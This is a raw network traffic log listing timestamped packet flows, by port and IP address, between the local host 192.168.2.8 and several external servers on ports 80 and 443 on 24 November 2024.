Nov 24, 2024 19:11:52.691919088 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.692420006 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.692766905 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.692861080 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.692926884 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.693711042 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.693813086 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.693864107 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.694775105 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.694834948 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.694879055 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.694927931 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.695602894 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.695655107 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.695720911 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.695780039 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.696526051 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.696609020 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.696613073 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.696650982 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.697508097 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.697559118 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.697581053 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.697628021 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.698482990 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.698520899 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.698558092 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.698569059 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.699356079 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.699426889 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.699445009 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.699497938 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.700330019 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.700402021 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.700539112 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.700604916 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.701345921 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.701483011 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.701483011 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.701520920 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.702501059 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.702555895 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.702586889 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.702603102 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.703260899 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.703329086 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.703336954 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.703464985 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.704071045 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.704121113 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.704221964 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.704267979 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.705188036 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.705214977 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.705306053 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.706131935 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.706201077 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.706223011 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.706321001 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.707021952 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.707140923 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.707206964 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.708172083 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.708236933 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.708276987 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.708420038 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.709132910 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.709166050 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.709191084 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.709223032 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.710059881 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.710125923 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.710180998 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.710227966 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.711033106 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.711097002 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.711112022 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.711368084 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.711960077 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.712017059 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.712110996 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.712157965 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.712651968 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.712702036 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.712703943 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.712769985 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.713403940 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.713464975 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.713545084 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.750520945 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.750610113 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.750684977 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.750725031 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.751202106 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.751214027 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.751251936 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.752017975 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.752072096 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.752181053 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.752228975 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.752765894 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:52.752902985 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.752960920 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.753052950 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.753093958 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.753613949 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.753668070 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.753730059 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.754543066 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.754636049 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.754641056 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.754712105 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.755462885 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.755522013 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.755562067 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.755619049 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.756382942 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.756436110 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.756500006 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.756551981 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.757335901 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.757347107 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.757405996 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.782742977 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.782756090 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.782772064 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.782779932 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.782804012 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.782814980 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.782829046 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:52.782850981 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:52.782876968 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:52.786303043 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.786310911 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.786338091 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.786366940 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:52.786407948 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:52.792880058 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.792889118 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.792922020 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.792931080 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.792943001 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:52.792954922 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.792968035 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.792984962 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:52.792984962 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:52.793004036 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:52.796035051 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.796044111 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.796097994 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:52.796108007 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.800471067 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.801851988 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.801867962 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.801897049 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.801954985 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:52.801964998 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.801994085 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:52.808615923 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.808635950 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.808664083 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.808702946 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:52.808716059 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.808748960 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:52.815268040 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.815285921 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.815330029 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:52.815340042 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.815370083 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:52.821568012 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.821583033 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.821630001 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:52.821640015 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.821671963 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:52.823470116 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.823534012 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:52.823543072 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.823591948 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:52.829313040 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.829329014 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.829397917 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:52.829413891 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.829466105 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:52.852077961 CET	443	49805	52.159.108.190	192.168.2.8
Nov 24, 2024 19:11:52.852102995 CET	443	49805	52.159.108.190	192.168.2.8
Nov 24, 2024 19:11:52.852117062 CET	443	49805	52.159.108.190	192.168.2.8
Nov 24, 2024 19:11:52.852216959 CET	49805	443	192.168.2.8	52.159.108.190
Nov 24, 2024 19:11:52.852216959 CET	49805	443	192.168.2.8	52.159.108.190
Nov 24, 2024 19:11:52.852246046 CET	443	49805	52.159.108.190	192.168.2.8
Nov 24, 2024 19:11:52.852308989 CET	49805	443	192.168.2.8	52.159.108.190
Nov 24, 2024 19:11:52.888333082 CET	49809	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:52.888379097 CET	443	49809	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:52.888462067 CET	49809	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:52.888695955 CET	49810	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:52.888731956 CET	443	49810	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:52.888932943 CET	49811	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:52.888945103 CET	443	49811	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:52.888964891 CET	49810	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:52.888998032 CET	49811	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:52.889157057 CET	49812	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:52.889193058 CET	443	49812	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:52.889311075 CET	49812	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:52.889338970 CET	49813	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:52.889381886 CET	443	49813	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:52.889518976 CET	49809	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:52.889534950 CET	443	49809	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:52.889538050 CET	49813	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:52.889667988 CET	49810	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:52.889682055 CET	443	49810	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:52.889782906 CET	49811	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:52.889796019 CET	443	49811	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:52.889873981 CET	49812	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:52.889887094 CET	443	49812	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:52.890001059 CET	49813	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:52.890017033 CET	443	49813	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:52.922821999 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.986218929 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.986238003 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.986325026 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:52.986340046 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.986439943 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:52.992892027 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.992908955 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.993000031 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:52.993010044 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.993120909 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:52.998874903 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.998892069 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.998994112 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:52.999002934 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.999083042 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:53.005770922 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:53.005786896 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:53.005871058 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:53.005880117 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:53.005949020 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:53.012351990 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:53.012367964 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:53.012451887 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:53.012460947 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:53.012550116 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:53.018644094 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:53.018663883 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:53.018723965 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:53.018733025 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:53.019191027 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:53.025477886 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:53.025496006 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:53.025568962 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:53.025578976 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:53.025928974 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:53.030720949 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:53.030740023 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:53.030803919 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:53.030813932 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:53.030942917 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:53.051532030 CET	443	49805	52.159.108.190	192.168.2.8
Nov 24, 2024 19:11:53.051558971 CET	443	49805	52.159.108.190	192.168.2.8
Nov 24, 2024 19:11:53.051600933 CET	49805	443	192.168.2.8	52.159.108.190
Nov 24, 2024 19:11:53.051616907 CET	443	49805	52.159.108.190	192.168.2.8
Nov 24, 2024 19:11:53.051652908 CET	49805	443	192.168.2.8	52.159.108.190
Nov 24, 2024 19:11:53.051667929 CET	49805	443	192.168.2.8	52.159.108.190
Nov 24, 2024 19:11:53.112957954 CET	443	49805	52.159.108.190	192.168.2.8
Nov 24, 2024 19:11:53.112979889 CET	443	49805	52.159.108.190	192.168.2.8
Nov 24, 2024 19:11:53.113037109 CET	49805	443	192.168.2.8	52.159.108.190
Nov 24, 2024 19:11:53.113048077 CET	443	49805	52.159.108.190	192.168.2.8
Nov 24, 2024 19:11:53.113400936 CET	49805	443	192.168.2.8	52.159.108.190
Nov 24, 2024 19:11:53.187041998 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:53.187064886 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:53.187127113 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:53.187150955 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:53.187195063 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:53.193865061 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:53.193881035 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:53.193953991 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:53.193964005 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:53.194139957 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:53.200768948 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:53.200784922 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:53.200834036 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:53.200844049 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:53.200874090 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:53.200887918 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:53.204875946 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:53.204912901 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:53.204957008 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:53.204967976 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:53.205004930 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:53.210352898 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:53.210371017 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:53.210449934 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:53.210458994 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:53.210511923 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:53.215835094 CET	443	49805	52.159.108.190	192.168.2.8
Nov 24, 2024 19:11:53.215874910 CET	443	49805	52.159.108.190	192.168.2.8
Nov 24, 2024 19:11:53.216058969 CET	49805	443	192.168.2.8	52.159.108.190
Nov 24, 2024 19:11:53.216068029 CET	443	49805	52.159.108.190	192.168.2.8
Nov 24, 2024 19:11:53.216419935 CET	49805	443	192.168.2.8	52.159.108.190
Nov 24, 2024 19:11:53.217112064 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:53.217129946 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:53.217202902 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:53.217225075 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:53.217364073 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:53.223489046 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:53.223517895 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:53.223607063 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:53.223617077 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:53.223683119 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:53.230288029 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:53.230305910 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:53.230382919 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:53.230391979 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:53.230439901 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:53.239702940 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.239778042 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.239789009 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.239881992 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.240031004 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.240104914 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.240149975 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.240900993 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.240983009 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.240995884 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.241044044 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.241842031 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.241893053 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.241954088 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.242006063 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.242772102 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.242835045 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.242898941 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.242979050 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.243738890 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.243808985 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.243839979 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.243896008 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.244679928 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.244818926 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.244827986 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.244952917 CET	49750	80	192.168.2.8	185.215.113.206
